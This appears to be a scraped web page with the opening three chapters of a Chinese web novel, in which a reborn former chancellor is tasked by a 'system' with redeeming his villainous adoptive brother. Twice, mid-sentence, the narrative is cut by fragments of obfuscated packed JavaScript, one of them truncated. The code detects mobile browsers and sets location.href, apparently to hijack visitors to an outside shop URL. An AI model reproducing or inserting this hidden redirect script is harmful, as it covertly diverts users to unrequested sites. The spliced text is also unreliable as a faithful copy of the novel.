《我哥是大反派![穿书]》 1. 穿书 《我哥是大反派[穿书]》 又名《青史之下》 作者/风林外 明顺三十三年冬,腊月十五,大雪,江府。 府外是列队的整齐武官,各个严阵以待。 这样的积威从府外一直延伸到府内,绕过大门,仪门,到了大厅。 此时,正厅的门扉大敞,风雪灌入,在地砖上积了薄薄一层白。厅中燃着三盆炭火,却压不住从四面八方渗进来的寒气。 为首的都御史带着几个下属站在厅内,对着坐在大厅前方的江夜道:“首辅大人,圣上有令,要臣等亲眼看着您喝下这杯酒,这是圣上的恩赏,请您快喝了吧,不要为难我等。” 今日的江夜穿着家常的深紫深衣,没有戴冠,头发只用一根玉簪绾住。这样一身装扮,站在满堂肃杀中,显得格格不入。 面对这些人的质问,江夜面无表情,淡淡道:“毒酒就是毒酒,谈什么恩赏,你跟我多年,知道我最讨厌就是虚与委蛇。” 那都御史并不敢答话,只是恭敬地立着。但该完成的还是得完成,他挥手让下属将酒奉上。 江夜拿过杯酒,带着走到厅门口,望着门外的雪花飘飘。 想他江夜纵横朝堂十余年,也会有今天。他死有余辜,该死,但说他江夜对这江山,一点建树也无,他不服。 “明公,你怎么看?”他轻声地呢喃,问完,仰头将酒喝下。 毒酒下肚,没一会儿,江夜便缓慢地扶着门框跪了下来。 他倒下之后,江夜身后的所有人也跟着跪倒在地。雪从门外涌进来,落在他们的肩上、背上,很快就积了薄薄一层。 厅内只剩风雪声,以及,杯盏落地的脆响。 史书记载,明顺三十三年,一代奸臣江夜畏罪自尽于自己的府邸,享年不过三十三岁。 …… 同样只活了三十多年的还有,林直。 当然现在他的名字已经不叫林直,他现在的名字叫江寻。清河镇江秀才的独子。 当然,如果这只是一个简单的穿越故事就好了。 可惜,不是。 由于事情太过复杂,导致林直(江寻)花了点时间去消化吸收。 先说他的前世,他是大晟玉恒年间的人。 出生名门世家,年仅十五就登科致仕,被钦点为新科状元。之后五年,前往治理州县,民心所向,离县之日,百姓夹道相送,自发送万民伞者逾千人。二十岁那年,他自请戍边,率三千精兵,直捣敌后,大获全场。消息传到京师,举国轰动。二十五岁,外敌来犯,天子被俘,举国上下无一人敢挺身而出,是他调兵、筹粮以及肃清,攘外安内,救国于危难之际。 逼退外敌之后,天下人都知了他林直的名号。 他也顺利荣登丞相之位,那一年,他年仅三十岁。 但事情并没有那么一帆风顺—— 他深知国家动乱,源于制度之崩坏,人事之不为,便呕心沥血决定改革。 整整三年,他夙夜不停,没有一日停歇。 可惜他满腔热血,惨遭守旧党强烈反对。没两年,他这个丞相,被指能救国却不能安国,被迫远离朝堂。 被贬回去的路上,他遭遇百年难遇的大地震,驿舍塌了,人没出来。英年早逝,年仅三十二。 若说遗憾,他并没有。他这一生,对得起家人,对得起国家,对得起自己。 他只是,累了。 死了也好,死了也不用再面对这些是是非非。 没想到,他林直,还有重生的机会。 现在是明顺五年,所以大晟已经亡了,现在的国号为大朔。 江寻,也就是他自己,吃了晚饭,正准备上床睡觉。 他所住的江秀才家,也就是他爹家,是一个临水的二层小楼,每一层三个房间。二层是住人的,比如他的房间就在右侧;至于一层,则是灶房和仓房。 他准备上楼的时候,瞥了一眼仓房,看到脏乱差堆满柴火的房内摆了一张小床,床上坐了一个瘦弱的男孩子。 他在脑海中问系统,“就是他吧?这书的大反派——江夜?” 系统的声音显得比较激动,“宿主,你终于愿意接受我了?” 江寻仍是淡淡地,“我从没有说过,不接受你。我只是需要时间。何况,你也说了,三日内必须要有进度,否则我会再次死亡。” 也许是察觉到他的视线,坐在仓房里的大反派江夜回了头,瞥了他一眼。 两人目光对视了一下。 这眼神冰冷,幽怨以及冷酷,完全看不出这是个年仅六岁的孩子。 江夜看完又转了回去。 江寻耸耸肩,上了楼,一边上楼,一边问系统:“跟我说说他的事情吧,以及我的那个……救赎任务?” 系统声音雀跃,“那我从头说起了,宿主,你现在所处的其实是一个穿书世界。这本书的名字叫《青史之下》,是一本科举权谋文,一本书有主角、反派等。” “这些我知道,你说重点吧。” “好。这本书讲的是假少爷周述努力科举,打败真少爷江夜,成为一代首辅的故事。” 江寻皱眉,“什么真少爷假少爷?狸猫换太子?” “差不多可以说。多年前,周家当家主母的大丫鬟,勾引男主人不成,为了一私之利,将自己的儿子换成了当家主母的儿子。于是真少爷变成了假少爷,假少爷变成了真少爷。” 江寻点评,“这江夜就是真少爷了。” 系统:“是的。大丫鬟正是你现在父亲江昼的亲妹妹,名为江染竹。江染竹被主母赶出周家后,带着真少爷江夜回到哥哥身边,没多久就得病死了。” 江寻:“既如此,江夜又如何得知?” “这是一个极为聪明的孩子,他发现了江染竹写给哥哥的信。也许是临死之前的悔悟,她要求哥哥将江夜收为自己的孩子,抚养的银两由她来出。” “但江昼没这样做?” “也不能这样说。江秀才一家都是老实人,只是江寻——对,也就是你,以为江夜是父亲的私生子,生怕他抢走自己的一切,处处防备着江夜。儿子如此,江家夫妇也顺着儿子的心意。” 江寻:“………这种心情,我能理解。毕竟只是一个孩子啊。” 系统心中赞叹,不愧是名臣。它继续道:“总之,从小江夜就在被当陌生人的环境中长大。但虽然如此,江夜非常争气,他凭借了自己的努力考中了进士,改写了自己的命运。只不过,后来他认贼作父,学会两面三刀。挟君令臣,以臣代君,步步高升,在三十岁那年权倾朝野。” 江寻听后还颇为诧异,没想到这个江夜跟他的命运倒有几分相似,所不同的是这人是真正的权臣,越俎代庖,能极为熟练地玩弄权力;而自己却不太行,他只是阴差阳错登上丞相之位。 “然后呢。”他好奇地追问。 系统:“江夜权倾一时,毁誉参半,做了些好事,但也做了很多坏事。结果自然是被主角,江夜的弟弟周述联合其他人,打败了,最终横死在自己的府邸。” 江寻此时已经上了楼,进了自己的房间,正给自己洗脸。听到这里,他不免唏嘘,“倒是可惜这样一个人才了。” 系统:“是的。我正是为此而生,江夜这个人不该是这样的结局。救赎他的那个人就是你。” 江寻将巾帕挂在架上,爬到床榻上,给自己盖好被子,“怎么做呢?” 系统:“你可以从改善与他的关系做起,提升他对你的好感度。相信你们成为朋友后,救赎任务会更容易展开。按我们的话,就是多刷好感度。” “好感度?” “是的。好感度的意思是指他对你的信任度、友好度等。我们的目标就是降低他的黑化值,提升他对你的好感度。” 江寻:“说说我现在这个身份吧,感觉现在江夜一点也不喜欢我。” 系统:“确实是这样。你现在是江夜名义上的弟弟,他已经知道你不是他亲弟弟了。但你不知道。可以说,你与他,或者他与你,你们只是名义是兄弟,却根本不熟。你只是一个秀才的儿子,平日里沉默寡言,只知道认真读书,在人群中存在感极低。” 江寻听完,“……”真会形容。他又问,“我在书中的结局是什么?” 系统:“没活到十二岁,早夭。” 江寻:“……我不会也早夭吧?” “如果你能一直做任务的话,每增加一点好感度,就增加一年寿命。目前好感度为零,任务倒计时为一天。” 江寻:“还有一个疑问,为什么是我?” 系统:“这个问题得你自己慢慢去寻找了,江寻。” 江寻没有执着再问,“那好,我先睡了。” 系统有些着急,“你没有什么规划吗?想好怎么改善你和他的关系了吗?我能帮你参考参考。先小小预告一下,明日,江夜是一定会对付你的,他不会让你舒舒服服地开蒙的。” “为什么要对付我?我不是没做什么对不起他的事情吗?” 系统:“大反派嘛,小时的性格比较阴郁。何况说完全没有,也不是。你看你总是吃独食,还让他睡仓房。” 江寻心想,难道一起睡吗?一个小孩能有多大心胸啊。“他会怎么对付我?” “你权限不够,我无法透露太多剧情。” “噢。”江寻蒙上被子准备睡觉。 “宿主!!明天还没进度,你我都要完啦。” 江寻嘘了一声,“明日的事情明日再说,先睡觉。” 系统:“………” 啊!这宿主不是一代名臣吗,怎么感觉有点摆呢! …… 次日一早,江夜起床。 他睁开眼,穿戴好衣袍,洗刷完下了楼。一楼正堂的饭桌上已经摆了早食。 江夜端着碗稀粥坐在底下的石阶上,见到他来,只淡淡看了他一眼,就转过了头。江寻也没跟他打招呼,自顾自地坐在长凳上,准备吃饭。 从灶房忙好出来的张氏,也就是他的娘亲,见他这么早起床,还有些诧异。 “阿寻,你这么早就起来了。” 江寻嗯了声,“今日不是开蒙吗?孩儿早些起床。”其实是睡不习惯。 张氏满脸感动,“吾儿长大了!” “对了,爹呢。” “你爹说你的狼毫笔不知何故,怎么也找不到了。他急得不行,便又去翰墨斋给你买去了。” 找不到了?这就是让他无法开蒙的把戏吗?江寻不动声色,嗯了声,低头吃饭。 吃完,他站起身,“娘,我去楼上检查一下我的笔墨纸砚,先不吃啦。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363401|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 张氏看了桌上剩下的好几个热乎乎的白馒头,“这样就不吃了?” 江寻嗯了声,转身上楼。 他上楼后,听着底下娘亲给江夜拣了馒头,“阿寻不在,你快点吃。多吃点,瞧你瘦的。” 江寻回头看了一眼,他看江夜没拒绝,抓过馒头就吃了起来。其实江家夫妇不是坏人,只是疼惜儿子。只要儿子接受江夜,他们也无所谓多给江夜一口饭吃。 他拉过眼神,低头看了书房摆着的准备开蒙的东西。 前世他三岁就开蒙了,自然知道需要些什么东西。就算无法开蒙,他也无所谓。 读书对于现在的他来说,实在是一件可有可无的事情啊。 再下去的时候,江夜已经不在了,想来自顾自已经前往吴家私塾了。大反派江夜年纪虽小,但行事已经相对偏激了。 江寻一直等到父亲前来,父子两人才带着笔墨银财,也前往吴氏学堂。 前往学堂,先要穿过清河桥,到达文昌坊。离开文昌坊后,过北门走半里,就是西山脚下,学堂就在这里。 到后,他们见到了吴夫子,这是个精明能干的老夫子,据说还是清河镇唯一一个举人。只不过,夫子是看到了,却没有看到江夜。 他去哪里了? 此刻,系统忍不住叫唤,“宿主,这不太正常。” 江寻借机问:“怎么说?” “按照正常剧情,江夜应该已经出现在学堂里。” 江寻想了想,也觉得得看看,毕竟他再摆,也不能让他要救赎的对象死了啊。趁着父亲和夫子闲聊,江寻离开了学堂。 听从系统的指示,来到了松树林,就在距离学堂不远的地方。 他问:“江夜去那里做什么?” 系统支支吾吾,“你觉得呢,宿主。” 江寻笑了笑,没回答。 松树林不算大,很快他就看到自己的正前方有几个莫约七八岁的童子,这些童子对着一个土坑道:“这小子鬼鬼祟祟的,一定心中有鬼。我们就把他关在这里,让他作不了妖。” “这小子我知道,是江秀才不知道跟谁生的杂种,来历不明。在他们江家,都是当狗一样的。” “就是!私生子,狗杂种,要我说,该埋了才是。” 少年们的哄笑声渐行渐远,只留下寂静的风吹松枝的声音。 江寻也转身回去。 见他要走,系统也急坏了,“宿主,你现在赶紧救他出来啊。” 江寻:“我现在去,江夜会信?你不是说我俩都没说过一句话吗?” “那你也不能见死不救啊。事先说明,不做任务的话,如果江夜的黑化值走到百分之百,或者好感度降到负数,你我都会被抹杀。” “没说见死不救。”江寻道,“我找别人去救。” 他回到学堂,将事情告诉了父亲。 江秀才自是没有见死不救,忙去了松树林,救人去了。 江寻坐在那里,等着他们回来。 只等了一会儿,就看到江夜回来了。出乎意料的是,他并没有灰头土脸的,想必从土坑里出来,已经梳洗过一番。 江寻想,毕竟是极为聪明之人,行事相对比较早熟。 就这样闹了一小场,总算是能正式开蒙了。 开蒙第一步就要正衣冠,当着孔夫子的面,所谓“先正衣冠,后明事理。”正完衣冠,就是盥洗净手,净手即净心,洗掉杂念,比喻一心向学。 江寻毕竟已经很久没做这些事了,重新做一次也觉得新鲜。 他仔细地净手,正洗得认真,突然察觉到一个视线。 自打穿越以来,他跟江夜还没说过半句话,两人是谁也不理谁。 但眼神倒是对视过好几次。 所以,他瞅啥? 当然,江夜只瞥了一眼,便拉回了视线,也低头净手。 两人正准备拜先师的时候,即先拜孔子像,再拜吴夫子的时候,只听前面学堂传来惨叫声。 “啊!!!有蛇有蛇有蛇。” “救命啊,救命啊!蛇啊。” 这些惨叫让吴夫子和江秀才都站了起来,忙往前堂去。江寻也好奇,跟着前往。 到了前堂,就看为数不多的十来个学生,有的跳到了桌子上,有的跑到了外面,有的胆子大一些,拿着板凳准备“杀蛇取胆”。 孩子如此,地上更是血腥,就看地上散落着几条青绿色的小蛇,足有十多条,蛇头是圆形,想来是无毒的。但毕竟是蛇,实在是够瘆人的。 总之,好好的学堂鸡飞狗跳的,就跟杀猪现场似的。 吴夫子气急败坏地上前,大声斥责,“谁抓的蛇,到底是谁? “啊!别让我抓到他,让我抓到他就完了。听到没!” 江寻突然明白江夜去松树林干什么了。 为了验证这个想法,他瞥了江夜一眼,见他冷峻的脸上,嘴角展露丝丝笑意。这个人似乎非常容易捕捉他人的视线,他适时地回头,与他对视,满不在乎地挑了一下眉,再漫不经心地转了回去。 仿佛这一切,都与他无关。 江寻没有再看,问系统:“原本江夜要拿蛇吓我是不是?” 系统:“你猜到了,宿主。但他——” 江寻替系统补上,“——但他改变了主意。” 2. 和好 所以江夜为什么会改变主意呢? 江寻耸耸肩,原因不重要,结果比较重要吧。他回到后堂,坐在那里等着吴夫子处理蛇围攻学生事件,想来一时半会,也开不了蒙了。 他便顺便看看这个朝代要读的书,跟他那个朝代有没有什么不同吧。 …… 江寻在等,江夜也在等,且都颇为悠然自得。 但江夜的悠然,源于他知道自己是重生的。 而江寻——他的好弟弟,他为什么也能这么悠然? 江夜有些好奇,看向坐在椅子上翻看书籍的江寻,不知为什么,他觉得这个假弟弟好像有些不一样了。 三件事,可以证明这个: 第一件,今早这家伙居然没全部吃完或浪费完,要知道,要是平日,就算他吃不完,他也不会剩下东西给自己,几乎没有一次例外。 这就是个故意恶心人的混小孩。 第二件,他重生归来时,江寻的笔墨纸砚已经坏了一部分,这是未重生的自己弄坏的,且他可以保证江寻已经知道了,但他竟然没发火,表现得不甚在意。 第三件,就是他让他的父亲来救自己。这是江秀才告诉他的。在江秀才拉他出来的时候,顺口说了一句,“我儿子说你在这。”江寻应该没打算告诉他是他救了他这件事。 江夜沉思了江寻的变化,难道说他也重生了? 总之,看在他帮自己一把的份上,自己这次可以先放他一马。这一次,他本来是打算将蛇放在孔子像上吓唬他的。前世是没出什么事情的,今生居然碰上了张迅疾等人,被他们推下了土坑。当然,这个账,他会连同前世,连本带利跟张迅疾等人慢慢算的。 他这样想着,转头又看了江寻一眼。 如果真的是重生,这家伙应该会认真读书才是,因为还记得这个弟弟小时候读书就很认真,属于勤奋刻苦型的。 但他万万没想到,江寻居然睡着了。 就靠在椅子上,姿态颇雅。头枕着胳膊,手指自然垂落,袖口微微滑下,露出一截干净的手腕。窗外的光落在他稚嫩的脸上,眉眼舒展,呼吸匀长,像是已经睡了很久。 ——跟以前的江寻完全不一样。 还记得临死前,他的术士跟他说,如果他真的得以重生,事情可能会产生蝴蝶效应。 他当时还问,什么是蝴蝶效应。术士说:“你身边的人可能会改变性子。比如你最讨厌的人也许会成为你最最好的朋友,与你并肩作战。” 江夜沉思地想,难道这个人就是江寻?当然最关键是,他怎么睡着了。这不是刚起床吗? 这也太懒散了吧!! …… 江寻没注意到江夜一直在观察他,他睡觉的话,当然是困了。 尤其是在看到现在要读的书跟两百年如出一辙,甚至其中一本书还是他参与编写的。加上穿来后都睡得不好,他睡着了也很正常吧。 睡醒后,他整理了衣冠,察觉到江夜的视线,他回头看了一眼,以眼神询问,刚才发生什么了。 江夜满脸无奈,睡了足足一个时辰,不动声色,旁若无人。他到底是怎么做到的。 不过他没打算与他说话,转过头去了。 这人能与他并肩作战?他还是一个人孤独地踏上征程吧。 两人没等太久,终于终于,吴夫子和江秀才从堂外进来。两个大人处理完这蛇事情,估计也是累得够呛。 吴夫子更是摆手,“今日就先不拜师了,你们先回去吧。” 江寻听后,啊?不是说好今日吗?他都等那么久了。 他想也不想,喊了声,“夫子。” 没想到跟他一起喊的还有江夜。 两人同时喊了声夫子。 这样喊后,两人又异口同声,“可我们等很久了。” 江寻决定闭嘴,让江夜说。 江夜有理有据,“外面有蛇跟我们又无关,为什么要推延我们的开蒙时间?错过今日,下次又有事,难道我们便一辈子不开蒙了?” 江寻听后,深以为然,不愧是大反派,说话很有条理。 吴夫子显得不耐烦,没好气地说:“你是夫子还是我是夫子?我说今日先不开蒙就先不开蒙。今日私塾发生了这么多事,我哪里有什么心情替你们启智。” 一旁的江秀才见夫子发火,生怕夫子以后不好好教他的儿子,忙道:“那就改日改日,今日就先不叨扰夫子了。”说着就要去拽江寻的衣袖,带着他准备离开。 吴夫子冷哼一声,表示送客了。 江寻倒也不在乎是不是今日开蒙,而是觉得夫子有点无理取闹。做夫子的这点信用都没用,明明是说好的事情。而且不管怎样,他们已经得罪夫子了。何必为了点情面,委曲求全? 他忍不住道:“倒也不需要夫子您开智,您让我们写个字,就当破蒙吧。” 江夜附和:“是,让我们破蒙就行。” 吴夫子冷笑:“没有我指导,你们能写什么大字?” 江寻漫不经心:“弟子想早些开蒙,早点开始学习,希望夫子多理解弟子的一片向学之心。” 吴夫子被逼着没法,冷声道:“你们跟我来。” 江寻跟上,江夜停顿一下也跟上。至于江秀才,抖抖索索也跟上了。他也好奇,没有夫子的指导,这两个小孩真的能自己写字吗? 他们只有五、六岁啊。 到了前堂,此时这里的学子们正低头打扫着卫生,那些蛇则被放在了学堂外的笼子里。 学子们看到夫子带着江氏兄弟前来,也都往这边看。 直到他们看到夫子给两人拿了两张宣纸,铺在桌子上,对他们说,“你们要开蒙,好,自己拿毛笔,给我写两个礼字。” 学子们不由窃窃私语,怎么,开蒙不应该是写“人”字吗?怎么是“礼”字? 当然,只有江寻知道,这是吴夫子在跟他们示威呢,要求他们必须尊师重道。可礼字,何其难写。这个老夫子何必两个小孩子呢。 他正思考要不要写,那边的江夜已经拿起毛笔,提笔,悬腕,落纸,洋洋洒洒在宣纸上写了个“礼”。 握笔的力度控制地极好——橫是橫的力道,撇是撇的弧度,转折处都不见丝毫凝滞。 他不由地心中赞服。 与他一样态度的还有其他人的态度,无一不瞠目结舌。这不像是一个六岁孩童写出来的东西,倒像是十岁,不,是三十六。 锋芒毕露,笔舞龙蛇——这字是真好。可就是太好了。 吴夫子惊讶地问:“你练过字?” 江夜冷声道:“怎么,不行吗?难道我六岁开蒙,就一定六岁开始练字?”言语颇多不敬,但江夜不在乎。何必收敛,又何必隐藏,大不了就是再死一次而已。他江夜早已经死过一次了。 吴夫子哑口无言,就是他来写,都不一定写得那么好。 这一巴掌,他被打得心服口服。他沉默不语,又看向一旁站着的江寻,这总不是个隐藏高手了吧。 “江寻,到你了。” 吴夫子话音刚落,所有人的目光便聚焦在江寻身上。 江寻叹了口气,他可没江夜那么争强好胜,可让他不写,这又是不行。 他的目标是,写出这个字,在夫子那边过个关,同时,让大家相信这就是他的真实水平。神童什么的,他觉得,还是算了。前世的经历告诉自己,做神童可是一件非常累人的事情啊。 他拿起笔,深吸一口气,当着所有人的面,写了一个规规矩矩的“礼”。 前面倒是还好,他能完全控制自己的笔,把这个礼写得像一个五岁孩童写的。 到了“礼”字的右面,是“豊”字。 难写,又不难写。 他非常希望写得差一点,但说实话,这很难。 前世,他写过不知道多少个“礼”。比如呈给皇帝的奏章,比如给同僚的书信,到处都有礼。他可以五六种字体写“礼”,写好字已经刻入了本能。 要装,也是蛮难的。 写完后,他战战兢兢地看着自己写的“礼”字,这应该像五岁孩童写的吧。 没想到,写完后,周遭人的反应,又是沉默了。尤其是看到父亲的表情,颇为激动。 江夜的表情古怪,其他围观的弟子们叹服,江秀才的表情颇为激动。 吴夫子则道:“非常工整。” 江寻:“……??” 吴夫子继续对底下的弟子道:“一副好字就当如此,笔韵出天然,笔力和骨力都已经在笔锋里。这字可比某人刻意为之的华丽要好得多了。” 江寻:“…………”他横看竖看都觉得这是他最差的字了啊。 他看向江夜,自己超过他,这人一定生气了吧。没想到,这人也没什么表情,完全事不关己。 吴夫子道:“既然你们破蒙,仪式就算完成了。我帮你们再启智吧。” 江夜淡淡道:“不必了。” 一旁的江秀才:“夫子既然这样说——” 江寻接:“夫子今日已经帮我们破蒙,我们已经感激不尽,哪里还敢叨扰夫子。启智就不必了。” 吴夫子满脸尴尬,“既如此,你们在家先进行诗三百的学习,明日就来学堂上学吧。” 江秀才忙应声答是。 就这样千辛万苦的,他们终于顺利启蒙了。 回去前,吴夫子将江秀才叫过去了,江寻隐隐有不好的预感。 果然等父亲出来后,便对他说:“今日开始,你和江夜都要描红练大字,还是得从头开始练起。” 他抬头问:“为什么呢,爹。” 江秀才说:“你们夫子说,年纪太小就把字体风格定死,往后不好改。不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363402|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如从头练起,每日都要练。” 江寻听了,心里无奈——他总觉得吴夫子这是在故意折腾他们。 回去时,天色已昏。 江寻跟在江秀才身后,江夜则跟在江寻身后,隔着大约百米的距离,三人一前一后回家去。 江寻能感觉到,江夜极不愿回那个“家”。若不是年纪太小,他怕是早就走了。不过——能写出那样字的人,靠卖字也能活吧。想来,离开他们,也不远了。 他忍不住问系统,“若是有天江夜自己离开,我没办法继续做任务了,我该怎么办,总不能让我跟着他吧。” 系统:“很不幸地告诉你,宿主,按道理,你得跟着他,直到他把你当成亲人的那一天。” “这会不会有点没有道理?他好像很讨厌我。” 系统:“我觉得他的态度在改变,至少他没用蛇吓唬你了。” 江寻忍不住想,这也不算什么吧。 回到文昌坊,绕到前街的李记糕饼铺时,江秀才让江寻在铺子门口等着,自己进去给江寻买糕点去了。 江寻在百无聊赖地等着的时候,一回头就看江夜不知何时也来到饼铺附近,正在一个摊子前看东西。 脑海里的系统都要发疯了,“你看,他靠近你了,宿主,我去帮你查看一下他对你的好感度。” 很快,系统又响起,“呜呼,好感度居然进了一个单位。太不容易了!!我们不会死了!!” 江寻:“…………” 他看着江夜靠近,却没有与自己说话。 此时江秀才从饼铺出来,看到江夜,对他道:“阿夜啊,一起吃饼吧。”说着将饼分给两人。 其实只要江寻不说什么,江夜基本能顺利地拿到东西。 两个孩子跟在江秀才身后,吃着酥软的糕饼。 江寻是很认真在吃,他前世家里的规矩非常严,这种普通的糕点几乎是不可能看到的。这糕饼酥软甜糯,也不腻,还是红豆味的。 他吃得专注,然后听到江夜说:“还挺好吃的。” 江寻有些诧异,不是,他是在对他说话吗?对他?他以为两人会一直冷战下去呢。 见他看他,江夜还是面不改色,又道:“怎么,你不觉得很好吃吗?我看你吃得很香。” 江寻点头,“是很好吃啊。” 江夜咳了一声,“我也吃不完,另外一个给你吧。”他说着把手里的另外一块糕饼递给他。 江寻:“……谢谢。” 江夜颔首,然后道:“对了,字不错。” 江寻一向与人为善,他既然要与他和好,他又何必与他交恶,他微微笑,“你也是哦。” 两个小孩在街上相视一笑,也算是“一笑泯恩仇”了。 …… 回家后,江寻就跟归巢的雀鸟,只想躺着好好休息。安安静静地吃了晚饭之后,就跟娘亲说自己上楼了。 他一上楼,系统又在那催促,“宿主,咱们好不容易有点一点点进展,要不要趁热打铁。” “打铁?什么铁。” “是江夜啊,还有今日吃饭,你也没让他上桌一起吃。” 江寻想起刚才—— 是,两人是说了话了。但回到家就跟自动回到初始状态。他的好哥哥还是端着饭坐在台阶上吃,背影孤单。两人也没有再说一句话。 “凡事不可急嘛,我就问你好感度有没有降?” 系统:“……宿主啊。”没见过这么摆烂的宿主,其他人都是拼了命地刷积分的啊。 “好好,但我不习惯跟人睡。” “可是——” “可是仓房的环境又实在……一言难尽。其实也不知是不是我的错觉,我认为江夜可能会离开这个家。既然如此……”他来到自己的房间,看到那张大床,“先分他一半吧。” “宿主万岁!” 还是如往常一样,他没有直接去找江夜,而是去找了娘亲,说出自己的想法。 他的娘正在灶房整理厨具呢。 “娘,让江夜跟我一起睡吧。反正我的床也大。” 张氏回头,就这两天,他也能明显地感受出儿子对江夜的不同。难道说是因为要读书了,长进了?“你确定?” 江寻点头,“那仓房阴冷潮湿,确实睡不了人。娘先去问问他,看他愿意不愿意吧。” 极可能会被拒绝。 张氏颔首,“那我就去问问。” 张氏擦了擦掩襟,转身去了仓房。 娘亲走后,江寻此时饿了,正在寻找白日买的糕饼。找到后,他塞了一个放在嘴里。吃得又贪心,将那糕饼全塞到嘴里了。 刚在吃着,就看到灶房外有脚步声,他适时地抬起头,就看到江夜抱着个被子站在门口盯着自己,目光幽深,眼珠漆黑,看人的时候一点不眨,像是能望到人的心里去。 3. 抄书 江寻:“…………”他忙将糕点吞咽下去,颇为尴尬地回望。 身后的张氏走过来,手搭着江夜瘦弱的肩,笑道:“你们说好了就好,以后就一起。兄弟俩可要相亲相爱才好。时辰不早了,上去睡觉吧。” 两人在张氏的催促下上了楼。 房内,江寻回头问:“你习惯睡外面还是里面。” 江夜:“外面吧。” 江寻颔首,“被子还是分开,睡得舒服一些。” “好。” 也许是刚在一起吧,气氛还有些尴尬。 熄了灯后,两人也没再说话。 屋外的清河潺潺,笼罩着这一片寂静的夜。 —— 在江寻看来,比起跟江夜相处,让他重读一遍蒙童书反倒更折磨人。 《三字经》《百家姓》等,他早已经滚瓜烂熟。 他唯一庆幸的是,因为他们都还小,每日蒙学的时间大概是一个时辰到两个时辰。这意味着,过了午时,便是温学时间,也就是回家温习。 这让江寻不得不感叹一句,当小孩子真好啊。 次日,他和江夜便被父亲江秀才带着,前往吴氏学堂。 其他弟子陆陆续续地也来了。学堂里加上他们,有十几个人,年龄各不相同,但基本差不了太多。他目前只认识一个,那就是昨日带头欺负江夜的张家小少爷,张迅疾。 据系统所说,这个人物是前期欺负江夜的主角之一。嗯,是的,自己甚至算不上主角,顶多算个小跟班。 刚开蒙,所要学的东西不多,基本一天十来个字,老师一对一地教学生读完,读完回座位自己背,什么时候会背了,什么时候就可以回去。 进度全部掌控在学生那里。 一对一还有一个好处,是可以根据每一个学生的情况进行因材施教。 先轮到的江夜,江寻在下面看,心中想着他肯定没问题。果然,他看到他们直接跳过了《三字经》,在背《百家姓》了。 见他不是个神童,江夜能看出吴夫子的表情还颇为嘲讽,仿佛说在昨日不是很蛮横,今日也只会背到《百家姓》而已。 只不过江夜没什么表情,背完就下去了。 江夜之后,就是他了。 江寻打从心底,下定决心要隐藏实力,只打算磕磕绊绊地背完《三字经》。 他是这样想的,背不完应该不至于吧。还会有人不会背《三字经》吗?但背得太熟练,又不符合他现在的水平。 没想到,背完后,吴夫子沉默着地挥挥手,让他下去了。 他下去后,一旁的胖小孩悄悄问他:“你好厉害啊,五岁就能背《三字经》了!” 江寻震惊脸,“难道还有人不会背这个吗?” 胖小孩数着手指,“我六岁开蒙,花了三个月才认识了八十个字,背完都整整花了六个月呢。” 江寻:“…………”他默然良久,介绍自己,“江寻。” 胖小孩:“沈德福。” “幸会幸会,对了,有空交流交流。” 沈德福:“好啊,乐意之至!” 江寻觉得,自己应该好好学习如何当一个普通小孩了。 这一早上,就在背书中快速地流过去了。江寻初体验了一下,也不太难熬。且吴氏学堂有一点非常人性化,那就是只要完成夫子完成的任务,就能早点回家。 所以理所当然,江夜第一个就走了。 江寻也没指望他能等自己。他慢悠悠地熬到了跟沈德福他们一起,一起下了学。他询问了沈德福的学习进程,总算明白了普通小孩的情况。 一边了解,一边感叹着,他并无一点瞧不起沈德福的意思,完全是抱着学习的态度。以及对于沈德福的“倾囊相授”,江寻在心中表示感激不尽。 和沈德福告别后,他的父亲也来了。 跟着父亲回到家,江夜已经在了,他正坐在院里的书桌前开始描写大字。 因为有父亲监督,他们两人被迫从头开始,学写基础的横竖撇捺等,纠正执笔姿势,并学习磨墨。 好在,江秀才也无法一直监督他们,他午后还要去隔壁镇里的学堂当夫子上课,便先走了。 他走后,兄弟俩才得以放松。 但也许是共“患难”,两人的话又多了一些。 江夜道:“这也太折磨人了,都会写了,这老头还让我们重新描写。” 江寻确实也吃了点苦:“哎,就是啊。” 江夜:“我想了个办法,你要不要参与?” 江寻放下毛笔,“请讲。” 江夜:“花点银子,叫人代写。那老头只让我们回家写,又没说找谁写。” 江寻刚穿越,还是个小孩,爹娘也没给他银子。加上穿越以来,他摆来摆去的,自然也没去弄银子。问:“你有银子了?” “暂时还没有,很快就会有。” 江寻:“…………”不愧是主角,“那赚银子,能带我一份么?” 江夜回头看他,见他纯粹是以朋友的口吻,心念一动,“当然,只是我需要一点起始银两。” 江寻:“………”主角也需要贵人相助,他就是那个贵人了。“多少啊?” “一两银子。” 一两并不是一个小数目,至少现在江秀才一家的收入也就三十两不到的样子。他若是跟娘亲张氏要一两银子,张氏会怀疑他是不是去赌博了;如果不跟家里人要,这笔银子想要靠他们自己去赚,实在难之又难。他们的年纪太小,个子都没摊位高。 想了想,江寻还是决定采用最保守的法子,“你会抄书吗?上次看你字不错。” 江夜:“……这要抄多少。” 江寻做丞相的脑子发作,却觉得抄书是最保守且最不容易被人发现的法子,其他的要么条件不够,要么太过张扬,容易招惹是非。 他给江夜分析道:“抄书的活比较稳定,书坊都有需要。每页按3文来算,每日10页,一天可得30文,一个月能得900文,正好差不多是一两。” 江夜:“………”脑子很灵活,“但我们不是要让别人替我们抄书吗?” “可你不是说需要一两当起始银子吗?” 